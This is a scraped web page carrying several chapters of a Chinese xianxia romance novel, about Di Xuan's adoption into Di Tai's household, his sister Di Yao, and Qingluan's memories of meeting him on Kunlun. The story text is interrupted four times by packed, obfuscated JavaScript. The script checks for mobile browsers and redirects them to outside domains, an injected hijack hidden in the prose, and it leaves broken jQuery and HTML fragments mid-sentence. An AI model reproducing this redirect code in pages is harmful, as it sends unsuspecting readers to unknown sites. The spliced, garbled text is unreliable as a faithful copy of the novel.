帝台神与焕鸢夫人成婚多年却无一子,眼见着于子嗣一事无望,他便将主意打到了帝宣身上。 过继一事是他与帝凌早已谈妥的,将此事禀报天君之后,与帝凌商议好时间,他便同夫人一起来领帝宣回府。 因此素娆只需走个过场而已。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052093|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就在她与帝台说着场面话时,一旁的焕鸢夫人蹲下身,朝帝宣招了招手。 帝宣看了看她,又仰头看了看素娆,然后迈开步子朝焕鸢夫人走去。 焕鸢夫人出生于一个远古仙族,身份本就不凡,嫁与帝台之后更是养尊处优,因此她与帝宣记忆中的生母是完全不一样的。 这个女人雍容华贵,目光柔软,浑身都散发着慈爱的光。 帝宣在靠近她之后,犹豫了一下埋进她的怀中。 焕鸢夫人愣了一下,然后惊喜地抱住了他。 怀里的帝宣似乎是在微微发抖,焕鸢夫人抚了抚他的后背,这才发现这孩子被帝凌养得瘦骨嶙峋。 她的声音也在微微颤抖,有欣喜,也有心疼,她轻声唤着帝宣的名字:“孩子,以后我就是你的娘亲了。” 花厅外被宫人拉住的帝骁怔怔地注视着这一幕。 他突然就不再哭闹,也不再吵着要让帝宣留下来。 小小的他第一次意识到这样一个道理,所谓骨肉至亲,也许不一定真的是至亲。 离开这里也许对帝宣更好。 一旁的帝台神转头注视着自家夫人和被她抱在怀里的帝宣,向来威严的目光中也流露出些许慈爱温和。 帝宣就这样成为了帝台神与焕鸢夫人的儿子。 早在接帝宣回府之前,焕鸢夫人就为他准备好了一处单独的院落。 这一座院落四进四出,一应用具齐全,屋内的布置甚至称得上奢侈华丽,帝宣曾经在帝凌府邸中住的那间小院完全不能与之相较。 住进这座属于自己的院落的第一天,帝宣彻夜无眠。 他披着单薄的衣衫在窗前站了一夜,窗外分明是与从前一般无二的寂寂长夜,可他突然感觉从前于他而言冰冷寒凉的九重天有些不一样了。 在焕鸢夫人用力抱住他的那一刻,他眼中的坚冰便已开始融化。 初入帝台府邸的这几日,帝台神忙于公务一直不曾回府,都是焕鸢夫人领着帝宣熟悉府中环境。 “你瞧,以后这里就是你修炼的地方。”焕鸢夫人搂着帝宣,指了指隐于磅礴仙气中的一座水榭:“你父亲在这里布了一个凝聚神息的阵,以后你在此处修炼能事半功倍。” “这里是隐书楼。”离开水榭后,焕鸢夫人又带他来到一座琉璃制成的高楼前:“你的院中也有专门的书房,只是这里的书册更丰富些,日后若有所需,直接来这里取书就好。” 接下来她带着帝宣熟悉了去往府中其他地方的路,最后牵着他的手进入了花园里。 帝台府中的这一座后花园极大,开满了许多帝宣从未见过的花。 它们本该生长在不同的季节,却在帝台神力的加持下,或含苞或怒放,个个明媚艳丽。 帝宣却想起了曾经和母亲一起居住的小院墙角那一朵白色的野花。 他目光微动,眼中闪过一瞬落寞,这一瞬间的失落很快就被他藏了起来,焕鸢夫人并没有察觉。 她牵着帝宣的手,带他进入花园中央,停在了一朵血红色的花前。 121. 芙蓉浦 眼前的这一抹红如一团炽热的火焰在帝宣眸中绽开。 他从未在九重天宫见到过如此夺目张扬的颜色,它被百花围簇着,静默地盛开在花园最中央。 “这是彼岸花。”焕鸢夫人的声音平静而满足:“我曾经梦见过这种花,在梦里它成片成片地绽放,像是一片燃烧在河边的火海。” “在梦见它之前,我都不知道世间还有这般如火焰张扬的花。后来你父亲命人寻遍了四海八荒,终于在大荒腹地发现了这样一朵彼岸花。” “可惜此花只在大荒生长,并且极为稀有,那么多人寻觅多年也只寻得了这一株。”焕鸢夫人俯身望着帝宣:“可是哪怕只寻见了这一朵彼岸花,我也已经很满足了。就像我一直都渴望拥有一个自己的孩子,可惜天命不顾,我始终未有子嗣。但是那天在花厅中见到你的第一眼我便知道,你我有缘,你注定会成为我的孩子。” 她将帝宣搂进怀里,轻轻地叹息一声:“我已经很满足了。” 不仅仅是帝宣,便连旁观的青鸾都听得颇为动容。 一向骄傲自负的焕鸢夫人,当真把她所有的温柔都倾注在了帝宣身上。 帝台神归府之后亲自试了帝宣的资质,惊喜地发现他天生是修习剑术一道的料,又因帝宣本人更喜法阵之术,便干脆为他请了两位神君教导。 此后帝宣的生活便忙碌了起来,大多数时间他都在帝台神的要求下专心修习剑术,但一天里也总可以挤出些时间跟随精通法阵之术的神君钻研阵法。 每日焕鸢夫人都会为他送来羹汤,或是一些她亲自盯着人做的糕点,总要看着他将食盒里的东西全部吃完才肯罢休。 “你太瘦了,再多吃一点。你爹爹也真是的,总说什么你起步太晚,修行的进度跟不上旁人,催着你刻苦修炼。要我说你好得很,这九重天上还有谁比得上我儿天赋异禀……”在看着帝宣一口一口吃掉她送来的吃食时,她总会满眼欣慰地这么说。 修炼之余,帝宣喜欢将自己关在隐书楼中。 倒不是有多么勤奋好学,而是他发现书中藏着许多他不曾见过的世界。 原来四海八荒如此之大,生活在这片天地之间的人这样的多,书中的文字浇灭了他心中的块垒,真正将他从帝凌府中那个四四方方的狭小院落中拉了出来。 他第一次意识到,天地广阔,任他所为。 对于帝宣而言这样的日子忙碌又充实。 他感到前所未有的满足。 然而这样的满足并没有持续太久。 就在他来到帝台府邸几个月后,一直未有子嗣的焕鸢夫人居然有了身孕。 帝台神喜出望外,将所有公务都甩给手下,专心在府中照顾夫人。 帝宣既真心为焕鸢夫人感到高兴,又难免彻夜胡思乱想,只不过他将自己的心事隐匿得很好,未曾被人发觉。 帝宣年纪虽小,每日的所思所虑却有很多。他非常清楚,当初帝台神夫妇之所以请求帝凌将他过继给他们,无非是因为他们一直都没有自己的子嗣。 如今焕鸢夫人怀了身孕,他们很快就会拥有自己的孩子。 帝宣不敢再往后想。 比起他们的亲生孩子,他算得上什么呢。 他甚至猜想在那个孩子生下来之后,他可能会被送回帝凌府邸,重新回到那个冰冷荒凉的小院。 焕鸢夫人生产那日,帝宣躲在水榭之中,直到听闻焕鸢夫人顺利诞下一女,他才犹豫地踏进了她的殿中。 此刻前来恭贺的宾客都已散去,焕鸢夫人疲惫地闭上眼陷入沉睡,只有几个贴身仙侍守在摇篮旁。 焕鸢夫人挂心女儿,在昏睡前嘱咐宫人把女儿留在她的身边,不许将她带离此殿。于是他们便将摇篮放在了夫人榻前,几个人小心翼翼地哄着初生的小小婴儿。 帝宣进入殿中,先是望了一眼面色苍白仍在昏睡的焕鸢夫人,然后挪动脚步,走到了摇篮跟前。 他垂眸望向襁褓中的婴儿。 这样小的孩子,娇嫩得像是长在后花园中的花儿。 那样脆弱,那样柔软。 他将手伸向她,又在半空中停下。 突然她抬眼看他,目光纯净犹如毫无杂质的冰雪琉璃。 身后的焕鸢夫人在这时醒来,她唤了一声帝宣的名字:“你这孩子,今天一天都没见到人影,到哪里去了?” 帝宣回过身望向她。 她虚弱地笑了笑:“你是来看阿媱的吗?她是不是很可爱?” 说着,她向帝宣伸出手:“我和你父亲都要谢谢你。” 帝宣上前两步,握住她的手,却是满眼疑惑。 他不明白焕鸢夫人为何要谢他。 “在你来之前,我们一直没有孩子,便连医官都言我难有身孕,此生恐怕难有子嗣。可是在你来了之后不久,我居然生下了阿媱。”焕鸢夫人将目光移向襁褓中的婴儿,停顿片刻后又重新落到帝宣身上:“也许这个孩子是因你而来呢?她或许注定要做你的妹妹。” 帝宣愣了一下:“我的……妹妹?” “是呀,阿媱就是你的亲妹妹。”焕鸢夫人将帝宣拉到她的跟前,侧身抱住了他:“这段时间我怀着身孕,没有察觉到你的情绪。宣儿,无论娘亲有没有生下妹妹,我都永远是你的娘亲。你永远是帝台神的长子,是阿媱的亲哥哥,知道吗?” 帝宣迟迟没有点头。 焕鸢夫人就这样一直抱着他,耐心地拍着他的后背,好像要将他心中的所有惶惑不安都赶走才肯放手。 过了许久,帝宣终于开口。 他将头倚靠在焕鸢夫人的肩上:“母亲,我明白了。” 这是入府以来,他第一次张口唤她母亲。 也是从这一刻开始,他终于真正将这里当作了他的家。 他所担心的事情并没有发生,尽管有了亲生的女儿,帝台神与焕鸢夫人待帝宣也一如从前。 他们给女儿起名帝媱。 此后天下人皆知,帝台神共有两个孩子,一个是大名鼎鼎的长辉神君,另一个则是被娇养于九重天宫,被父兄视为掌上明珠万般宠爱的小女阿媱。 时间过得很快,转眼间襁褓中的婴儿便已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15055972|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长大。 帝媱从小便喜欢黏着哥哥,刚学会走路就成日里跟着帝宣在府中晃悠。 帝宣在水榭修炼时她就在一旁为哥哥加油鼓劲,帝宣若是在隐书楼中看书,她便老老实实趴在他的身旁,虽然不识字,却也从不吵闹。 帝宣显然是爱极了这个妹妹。 哪怕是在钻研他最感兴趣的阵法之术时,也总时不时地分心往旁边望上两眼,生怕帝媱磕了绊了。 只要帝媱在旁边脆生生地唤一声哥哥,即便正钻研至阵法最关键的时刻,帝宣也会立马停下手中的事,转头把帝媱抱起来轻声细语地哄她。 便连焕鸢夫人也总是调侃帝宣,他这个哥哥简直比帝台神还要溺爱阿媱。 始祖之息似乎有意让青鸾看到这一些,每当幻境流淌至帝宣与帝媱相处的画面之时,他都会让这些画面在青鸾眼前停顿得久一点。 青鸾注视着帝宣与帝媱共处的时光,也的确如始祖之息所愿那般沉了目光。 她在想,帝宣记忆中的这个阿媱无疑便是预言梦中被帝骁安置在上古神棺中的那个神女。 阿媱与帝宣自幼一起长大,他们感情之深厚自然不言而喻。 那么帝骁呢? 她微微皱起了眉。 帝骁为了复活阿媱如此不择手段,他们之间的感情又是因何而起。 幻境很快给了青鸾答案。 那一年流放罪神的都广之野传来异动,传闻有罪神后裔欲通过建木逃离流放之地。 此事非同小可,若真有罪神后裔逃出都广之野,必然会引起轩然大波。九重天宫得到消息后立马派人前去查探情况,司掌典狱之刑的帝凌也需亲自前往。 出发前素娆再三央求,希望帝凌带她一起同去。 自从来到九重天宫后,她一步都没有踏出过帝凌府邸,终年幽暗寒凉的九重天早已憋得她透不过气。 她向帝凌恳求,随便哪里都好,她只是想出去见一见人间的太阳。 起初帝凌将她软禁在府邸之中,无论如何不许她出府半步,是因为她一心想要逃离九重天,后来见逃出此地无望,又铁了心的想要寻死。 不过帝骁出生之后,她倒是渐渐转了性子。 想来便如众人所言,有了自己的孩子便是有了解不开的牵绊。 帝骁就是素娆的牵绊,他让她逐渐接受了现实,不再寻死觅活,安分守己地待在九重天宫,扮演好妻子和母亲的角色。 一阵思索过后,帝凌答应了素娆的请求。 却是没有想到,都广之野并没有罪神后裔叛逃,帝凌带着素娆走这一趟反而遭到大妖袭击。作为毫无自保之力的凡人,素娆甚至被那大妖掳走了作为人质。 那大妖前往都广之野本是为寻建木。 此地是流放罪神之地,九重天宫刻下了屏蔽神息的大阵,踏入这里的仙神都会被封印部分法力,失去上天入地之能。即便神使想要降临此地,也得通过那棵连接天地的建木才行。 那建木可直达九重天宫,与陌离在东海地宫炼制的可直抵九重天宫的法器有异曲同工之妙。 122. 芙蓉浦 然而来到都广之野寻到建木之后,那大妖才发现并不是谁都可以通过建木抵达九重天宫。 建木周围也被设下了法阵,需得有神使令牌才可解除封印。 眼见着通过建木前往天宫无望,正绞尽脑汁寻觅他法之时,他撞见了携夫人一起来到此地探查罪神情况的帝凌。 于是他当即决定掳走素娆,将她作为人质威胁帝凌,要求面见天君。 然则九重天宫等级森严,能抵达天宫者必为一方神君,至于能面见天君之人,其身份还要不同一些。 即便是有了封号的正经神君也不见得有资格面见天君,况且天君原本便不满帝凌娶一介凡人为妻,帝凌又如何敢因为她而去乞求天君见此妖物? 这件事便因此僵持不下。 帝凌不肯答应大妖的要求,那大妖便索性将素娆囚禁在了都广之野的芙蓉浦,扬言什么时候他能够面见天君了,什么时候再放了帝凌夫人。 素娆在芙蓉浦被囚禁了整整半年。 没有人知道这半年的时间里发生了什么,也无从得知那大妖究竟为何非要面见天君不可。 他们只知道半年之后大妖主动放了素娆,然后独自逃往了大荒。 素娆获得了极为短暂的自由,然而她一介凡人之躯,如何逃得过九重天的耳目,没跑多远便被帝凌捉回了九重天宫。 这时候帝凌才发现,她居然已经怀了那大妖的孩子。 此事很快传遍了九重天宫,让帝凌丢尽脸面,天君也因此勃然大怒,亲自下令将素娆打入龙渊之狱。 素娆被天兵押走的那一天,焕鸢夫人带着帝宣与帝媱来到帝凌府邸,送素娆最后一程。 九重天上长夜寂寂,偶尔焕鸢夫人会与素娆作伴打发时间,她们二人也算是有话可聊。 如今便是来见她最后一面了,焕鸢很清楚九重天宫的冰冷残酷。 触犯了天君威严的人,不可能还有活路。 帝凌虽然执掌典狱之事,但因此事算是家丑,天兵来押素娆之时他并没有露面。 偌大一个府邸空空荡荡,便连宫人也不见一个,只有帝骁踉踉跄跄地跟在母亲身后,哭着求她不要走。 “母亲,你去跟爹爹道歉吧。”帝骁被高高的门槛绊了一跤,趴在地上对着素娆的背影哭求:“你跟爹爹道歉,他就会原谅你了,求求你不要走……” 素娆听见了帝骁撕心裂肺的哭号,但她没有回头。 帝宣随焕鸢夫人回到帝凌府邸时,看见的便是这样一幕。 下一秒他将目光从帝骁身上移开,微微别过头去。 焕鸢夫人上前与天兵交涉,争取了一炷香的时间同素娆最后说一说话,帝宣则牵着帝媱的手沉默地站在另一边。 他的掌心微微出汗,目光也有些茫然。 这种时候,他反倒不知该做些什么了。 帝媱在这时拽了拽他的衣袖。 他愣了一下,然后垂首看她。 帝媱的眼睛亮晶晶的,她指了指趴在门口的帝骁:“哥哥,他是我的堂兄吗?” 帝宣点了点头。 帝媱又道:“他好可怜啊,我可以去安慰他吗?” 帝宣犹豫了一下,再次点了点头,松开了帝媱的手。 他的目光始终不敢落到帝骁身上。 帝媱走到帝骁面前,像平时唤帝宣那般脆生生地唤了一声哥哥:“你别哭了,我把这个给你。” 她将手中的木偶递给帝骁,这是帝台神从凡间为她搜罗来的新鲜玩意儿,她还没有捂热乎便送了出去。 帝骁却一把将木偶打掉,推开帝媱,从地上爬起来冲向母亲。 守在周围的天兵冷冰冰地将他拦下,不许他靠近素娆。 他无助地站在原地,似乎是放弃了挣扎,脸上挂满了泪痕。 帝媱没有因为帝骁的举动而生气,她蹲下身小心翼翼地把木偶捡起来,翻来覆去观察了一下,确认它没有被摔坏后,再一次走到帝骁面前,举起双手将木偶递给他。 “哥哥,这是我最喜欢的木偶,我把它送给你。这里风很凉,你别哭了。”说着,她努力地踮起脚尖,尝试用自己的袖子给帝骁擦眼泪:“这个木偶可以陪你吃饭,也可以陪你睡觉,我把它送给你。” 帝骁垂下头,一下便望见了帝媱的眼睛。 她的眼睛又圆又亮,像浸在水里的星星。 他伸出手,接过了那个木偶。 帝媱认真地为帝骁擦拭着眼泪,幻境中的青鸾注视着这一幕,一瞬间心下了然。 她似乎从没有见过帝骁落泪。 他最脆弱的一面原来早已在年幼时暴露在了帝媱眼前。 在素娆被打入龙渊之狱后,没过多久帝骁便独自搬到了青要山居住。 他开始接受天君的教导,一步一步成为天君想要他成为的模样。 帝宣此后再未去过帝凌府邸,也几乎与帝骁再无交集,曾经同住在一个屋檐下的两人逐渐分道扬镳,成为众人口中天君之位的竞争对手。 但其实帝宣对天君之位的渴求并不那么强烈,很多时候他甚至刻意避开帝骁,不与他争锋,也不抢他风头。 他很清楚自己与帝骁早已踏上了两条截然不同的路,若非因为青鸾,他绝对不会主动踏入青要山中,更不会与帝骁产生任何交集。 青鸾对此其实也很清楚。 过去她总感觉帝宣与帝骁之间的关系微妙,两人似乎早已不和,又似乎默契地对彼此保持着克制,至少避免正面对抗。明眼人都瞧得出来这两位神君同时出现时空气中总弥漫着看不见的火花,他们越是刻意地避开对方,便越容易引得旁人对他们二人的关注。 青鸾很清楚,若非因为她住在青要山中,帝宣是绝对不会踏入此地的。 她不由想起自己与帝宣的初次相遇。 他们第一次见面是在九重天百年一届的瑶池大会上。 这每百年举行一次的瑶池大会乃九重天宫旧俗,每隔百年天君便会在瑶池设宴一次。设宴之地之所以不在九重天上,乃是为了照顾那些没有资格进入九重天宫的各路山神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081949|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这也正是瑶池大会被称为百年一次之盛会的原因。 参宴对象上至九重天宫,下至四海八荒,不可不谓热闹。可以说瑶池大会便是天上地下所有仙神齐聚一堂的盛宴,也是那些山神或是还未得到封号的修仙者见到传说中的神君的唯一机会。 武罗神君帝骁在这样的盛会上自然是万众瞩目的,数不清的仙神上赶着想要同他搭上一两句话,而顺道被他带上瑶池参加宴会见见世面的小妖青鸾自然是被人忽略的那一个。 每一次瑶池盛宴都会持续整整七天七夜,在此期间青鸾不得独自回到青要山,也不能随意乱逛离帝骁太远。很快新鲜劲儿过去,她开始感到无聊。 在瑶池大会接近尾声,帝骁被一帮人簇拥着脱不开身的时候,她终于鼓起勇气蹑手蹑脚地溜了出去,开始在昆仑山中瞎逛。 瑶池位于昆仑山巅,却并不是整个昆仑之境最高的地方。 毕竟昆仑之境有着数不清的山脉,昆仑山峰只是其中一条,因西王母居住于此而成为西方昆仑境的主脉。 但其实昆仑境还有许多高耸入云的山峰。 每一座山脉都被云雾缭绕着,衬出些仙气飘飘的味道,青鸾行于其间,眼中满是好奇。 她很少有这样独自在外面溜达的机会,映入眼中的每一道风景都令她感到新奇,都会引得她驻足片刻。 走着走着她来到了一处陡峭的悬崖前。 那悬崖仿佛有万丈高,上面是终年不化的玄冰,风一吹厚厚的寒霜便跌入云雾间,好似谪仙落入凡尘。 这景象看得青鸾眼前一亮。 便在她仰着头看着面前的奇景时,一道微弱的声音在她的脚边响起:“请问,你可以往旁边挪一挪吗?” 青鸾一怔,打量四周,却什么也没看见。 就在她以为自己出现了幻觉时,那声音又弱弱地道:“不好意思,你踩到我了。” 这下青鸾终于听清楚了声音的来源,竟然是她脚畔的那株白色小花在同她说话。 低头仔细一看,发现自己的确踩到了它的叶子,她连忙往旁边挪了几步,一叠声地说着对不起:“你太小了,我没瞧见你。” 那小花显然是在昆仑山中受磅礴灵气滋养启了灵智,却还没有修炼出人形,被青鸾踩着也无法自行脱身,只能弱弱地请她挪下步子。 青鸾将脚移开之后,它默默地把自己的叶子收到了一边,轻轻颤了一下,似乎是在用这种方式缓解疼痛。 青鸾愧疚地蹲下身:“真的对不起,我不是故意的。你还好吗?” 小花舒展了一下花瓣:“没关系的,你不是故意的。” “你在这里待了多久了?怎么会长在这里?”青鸾好奇地问:“长在这里不冷吗?” “不冷。”小花动了动叶子,努力地指了指顶上的悬崖:“那上面生长着昆仑圣物,是一朵万古冰莲,整座昆仑山脉的灵气都是因她而起,我也是因为天长地久汲取着这里的灵气才启了灵智。” 青鸾顺着它的话抬头向上望去。 123. 芙蓉浦 乱云被天光揉碎,洒在山脉之间,又被玄冰折射出万道细碎光芒,将眼前的世界化为一块真正的冰雪琉璃。 传说中的万古冰莲就生长在这片陡峭的悬崖之上。 青鸾目力极好,却还是无法透过重重云烟望见它。 关于这朵万古冰莲的传说有很多,或者说,神秘的昆仑之境本身便是一个传说。青鸾转头望回那朵启了灵智的小花,正要张口,却见眼前的云雾变为黑色,紧接着它们凝聚成一股股黑色的绳,发出刺耳的尖啸声,在昆仑山中横冲乱撞。 来不及反应过来发生了什么,青鸾在黑色的雾气朝她冲过来的下一秒伸手护住了脚畔的白色小花。 它在狂风中瑟瑟发抖,眼看着就要被连根拔起。 青鸾微弱的灵力只抵挡得住一击而已,眼见那恐怖的黑色雾气铺天盖地俯冲而来,所经之处连玄冰都被轻易击碎,她根本避无可避。 便在这时几束白色的光芒在她的身侧亮起,它们形成了一道坚固的法阵,替她挡去了大部分的攻击。 紧接着一道身影从天而降,破碎的天光与指尖的光芒相辉映,衬得他整个人犹如笼罩着圣光的天神。 他挡在她的面前,双手结印祭出一个更大的法阵,雪色雾色瞬间凝为实质,然后融入了他所祭出的散发着耀眼光芒的法阵中。 白色的光吞噬了黑色的雾,方才还耳边缭绕着的尖啸声瞬间消失,只余下他的衣袍在风中猎猎作响。 青鸾看呆了眼。 她总是听旁人说起帝骁是如何的强大,可她从未见过帝骁出手,今日见到眼前这人使出的法阵之术,她才算是真正对强大二字有了明晰的概念。 抬手之间风轻云淡斩灭邪祟,这便是所谓强大。 战斗结束得很快,万籁俱寂中,帝宣回头望向青鸾。 “没受伤吧?”他的声音清冽犹如山巅之雪。 青鸾听得微怔片刻,垂首望了一眼仍旧被她护在身侧的白色小花,然后抬头冲帝宣扬起一个笑:“多谢神君,我们都没事!” “我们?”帝宣顺着她方才的目光望向那朵小花,随后他将目光移回青鸾身上,嘴角微扬,也露出一个和煦的笑。 这便是青鸾与帝宣的初次相遇。 自那之后她又在几次宴席中见到了帝宣,两人从那朵启了灵智的小花聊到了许多别的话题,就此熟络起来,慢慢成为无话不谈的挚友。 却是今日才知,原来昆仑山中初相遇时她见到的那朵小花就是从前长在帝凌府中,同帝宣一起在破败小院里生活了许多年的白色野花。 而它之所以有幸离开那座破落小院,挪到灵气充沛的昆仑山脉启了灵智,竟然是因为帝媱。 时间在幻境中加速流淌,青鸾在帝宣的记忆中顺着他们的成长轨迹继续往下看。 成年之后各自得了神君封号的帝宣与帝骁几乎不再有任何交集,自然也没有什么说话的机会,偶尔在九重天上碰见也只是形同陌路擦肩而过,旁人根本看不出来他们是同父异母的兄弟,曾经还在同一个屋檐下生活过。 一日面见天君述职完毕后,帝骁却主动来同帝宣说了一句话。 他告诉他帝凌又将娶妻,准备大修府邸,从前帝宣和他母亲一起生活过的那间小院将被推翻重建。 得知这个消息后帝宣恍惚了好几日,若非帝骁告诉他这件事,他简直快要忘记自己曾经在帝凌府邸生活过的那段时光了。 他以帝台之子的身份过了这许多年,虽为过继养子,但帝台神与焕鸢夫人始终将他视如己出,即便他们真正的亲生女儿帝媱出世也不曾改变。 这些年来点点滴滴的美好是如此真切,冲淡了他的往昔记忆,让他选择性地忘记了那段灰暗的时光。 也一并忘却了旧时光中的母亲。 他已经快不记得自己的生母是何模样。 布下一道禁制将自己关在水榭里几天几夜后,他回到了从前生活过的那间小院。 小院比记忆里还要破败萧索,想来自从他离开之后,便再也没有人踏入过这里。 他寻不见自己曾经和母亲一起生活过的残迹,时间冲淡了记忆,也抹去了母亲存在过的痕迹。 在院中静默片刻后,他转身离开时,一眼望见了长在墙角的那朵白色野花。 曾经生活过的小院在几百年光阴的蚕食下已经成为断壁残垣,长在墙角的小花却有着顽强的生命力,不知它是如何找到了砖墙间的缝隙,一点一点探出了头来。 仿佛只需要一点点仙尘,它就可以存活很久很久。 它的花茎看起来是如此纤细娇弱,努力舒展的花瓣却又显得那般坚强。 帝宣看得心头一动。 当初被过继给帝台神离开帝凌府邸前,他曾长久驻足此地凝望过它。 那时候他只觉得自己与这野花同病相怜,但这次离开,他的心态已经与从前大不相同了。 他决定带走它。 便算是在这小院被重建之前给自己留下最后一点念想吧。 起初他将这朵小花移栽到了花盆里,搁在书房的书架上。一次帝媱来书房寻他,见到这朵小花后惊呼了一声:“哪里来的花儿呀?它已经快启灵智了!” 帝媱的体质与旁人不同,她对灵气非常敏感,再轻微的灵力波动都能被她察觉,因此她能够敏锐地发现那些将启灵智之物。 帝宣诧异地望着盆里的那朵小花,没想到它能启灵智,有机会踏上修行之路。 “可惜如今九重天上灵气稀薄,它虽然离开启灵智只差一步之遥,但要跨越这一步可能得等上万年。”帝媱捧起花盆,用指尖戳了戳它的花瓣,然后抬头对帝宣道:“不如我们把它送到灵气比较充沛的地方去,助它一臂之力吧!” “四海八荒灵气稀薄,天上人间都是如此。”帝宣摇了摇头:“若说灵气充沛之地,除却传说中的上古龙脉,便是归墟遗址等上古遗迹,都不是我们能够轻易涉足之地。” “倒也不用去那些危险之地……”帝媱歪着脑袋想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085990|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想:“昆仑山脉就不错,那里的灵气虽然比不上传说中的上古遗迹,但也还算充沛。” 她冲帝宣眨了眨眼:“母亲的母族同西王母有旧交,小时候我们还随母亲一起去拜访过西王母呢。不如就去求她,让她准允我们把这花儿种到昆仑山去。” 帝宣有些犹豫:“为这样一件小事去叨扰西王母怕是不大妥当……” 帝媱却没想那么多,捧着花牵起帝宣就走:“正因为这是一件非常小的小事,所以她老人家一定会同意的!况且我们也好久没去拜访过她了,昆仑山那地方多冷清啊,她要是看到我们一定会很高兴!” 好一个反向思维。 幻境外的青鸾听到帝媱这样说,不自觉扬起唇角。 她没想到帝媱竟是如此活泼的性子。 只见她就这样一路碎碎念着,兴冲冲地往昆仑山而去,帝宣则紧跟在她身后,注视着她的背影露出温柔的笑。 然而两人却是兴致勃勃地扑了个空。 西王母受天君之托赶赴东荒捉拿寻衅大妖,此刻并不在昆仑山中,留在昆仑接见他们的是西王母最为信任的凰女九聆。 九聆其名乃帝师路之遥所取,她便是传言里自昆仑圣物万古冰莲中诞生的那只冰凰。 帝师亲自将她从冰莲中抱出,后又收她为徒。 因她出生时虚空中曾传来九声圣钟之响,故帝师为她取名九聆。 凰女是西王母选中的接班之人,在继位之前她们需要潜心修炼,如此才能胜任以女武神著称的西王母之位。 因此她们一般不会离开昆仑境,也不用与太多的人打交道,不必处理公务琐事。 想来便是因为焕鸢夫人母族同西王母是旧交,凰女才会来亲自接见帝宣二人吧。 站在二人面前的凰女九聆一袭红衣猎猎,墨发如瀑随风飘扬,她赤脚立于昆仑宫前,看起来好不飒爽。 站在山脚仰视着她的帝宣不由一怔,脚步也跟着放慢。 帝媱回头催他:“凰女在为我们开启昆仑结界,我们快点进去。” 帝宣听到帝媱的呼唤,这才从晃神中反应过来,足尖点地朝昆仑境内飞去。 掠过凰女身边时,他侧首轻轻道了一句多谢。 凰女以薄纱覆面,只露出一双好看的眼睛,她注视着帝宣,对他点了点头。 山间的风夹杂着薄薄的雪从两人身侧擦过,凰女面纱如水泛起涟漪。 她的目光似乎也泛起了些许涟漪,冲帝宣露出笑意。 帝宣又是一怔,落地时一不留神踉跄了一下。 帝媱奇怪地扶住他:“你今天怎么心不在焉的呀?” 帝宣自己仿佛也很尴尬,目光有些躲闪似乎无处安放:“想是昨夜修炼得太晚了吧,让凰女见笑了。” 凰女摇了摇头,未将这个插曲放在心上,上前引着他们往山间走:“帝媱仙子在拜帖中言,你们此行是来给一朵灵植寻觅栖身之地的,我已择好一处灵气充沛之地,这便领二位前去。” 124. 芙蓉浦 凰女的声音在幻境中流淌,犹如积年冰雪融化,潺潺淌过春日,然后在盛夏里彻底消亡。 青鸾难以形容听见凰女声音时的感觉。 她只觉得那声音万分飘渺,令她莫名感到恍惚,似乎下一秒就会随着她的声音一起融化。 幻境中帝宣二人跟随在凰女身后,来到那座生长着万古冰莲的峭壁前。 凰女微微垂首,示意他们可将带来的花儿种在这座峭壁之下。 帝媱惊喜地道了声谢,蹲下身便开始忙活起来。 帝宣却面露不安之色,转身对凰女道:“此乃昆仑圣物所在之地,我们带来的只不过是一朵无名野花,将它植在此处是否会污染圣地?” 凰女摇了摇头:“所谓昆仑生物,不过是有幸沾染了上古神息的法器,才会拥有世所罕见的威力。” 将目光移到帝媱手中的那朵白色小花上,她笑了笑:“我见你们带来的这朵花似是将启灵智,若是启了灵智,它便是一个拥有完整灵魂的生命了,这是任何圣物法器都比不上的。” 帝宣听完她这番话后思索了一下,然后专注地注视着她:“凰女的意思是,再珍贵的法器也比不上拥有灵魂的生命,哪怕这个生命只是一朵不起眼的野花?” 凰女似乎没想到帝宣会就着这个话题继续追问下去,微微怔了一下,随后别过头去:“这只是我自己的一点拙见,让神君见笑了。” 